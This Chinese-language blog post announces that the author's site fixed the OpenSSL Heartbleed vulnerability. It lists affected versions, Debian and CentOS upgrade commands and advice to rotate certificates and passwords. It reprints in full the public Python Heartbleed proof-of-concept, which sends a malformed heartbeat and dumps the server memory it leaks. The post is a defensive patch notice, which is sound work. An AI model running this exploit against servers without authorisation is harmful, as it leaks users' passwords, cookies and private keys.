已修复 OpenSSL 心脏出血漏洞
OpenSSL 在 2014 年 4 月 7 日爆出心脏出血漏洞(Heartbleed Vulnerability),本站也受到了影响,但我已经在第二天(4 月 8 日)通过更新 OpenSSL 的方式修复了漏洞,又在第三天(4 月 9 日)重新购买了 sinosky.org 的 SSL 证书,并 reissue 了 ezdl.it 的证书。
受此漏洞影响的版本有 OpenSSL 1.0.2-beta 及 OpenSSL 1.0.1 - OpenSSL 1.0.1f,您可以通过更新 OpenSSL 至 1.0.1g 版本的方式自行修复此漏洞,修复漏洞后千万不要忘了重启相关的 web 服务(如 Apache、Nginx、Httpd 等)。
Debian、Red Hat Enterprise Linux(及其派生版,如 CentOS、Amazon Linux)和 Ubuntu(及其派生版,如 Linux Mint)等 Linux 发行版已经修复了此漏洞,但没有更改库版本。
Debian、Ubuntu 等:
[sudo] apt-get update [sudo] apt-get dist-upgrade [sudo] apt-get install openssl libssl1.0.0 #安装最新版的 OpenSSL
Red Hat Enterprise Linux、CentOS 等:
[sudo] yum update
此漏洞使攻击者可以获取到被攻击网站的用户密码、cookie、SSL 证书的私钥等敏感信息,所以在修复此漏洞后,您应该立即更新 SSL 证书并通知用户修改密码。
ezdl.it 并不存储您 Google 账户的密码,但 Google 同样受到了此漏洞的影响,所以我仍建议您更改 Google 账户的密码。
您可以使用 Heartbleed test 或以下代码来测试网站是否有此漏洞。
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
央视也在今天(4 月 11 日)曝光了此漏洞,并称多数受影响的网站未告知用户已修复此漏洞,央视的采访还发现大部分网民并不知道或关心这个漏洞。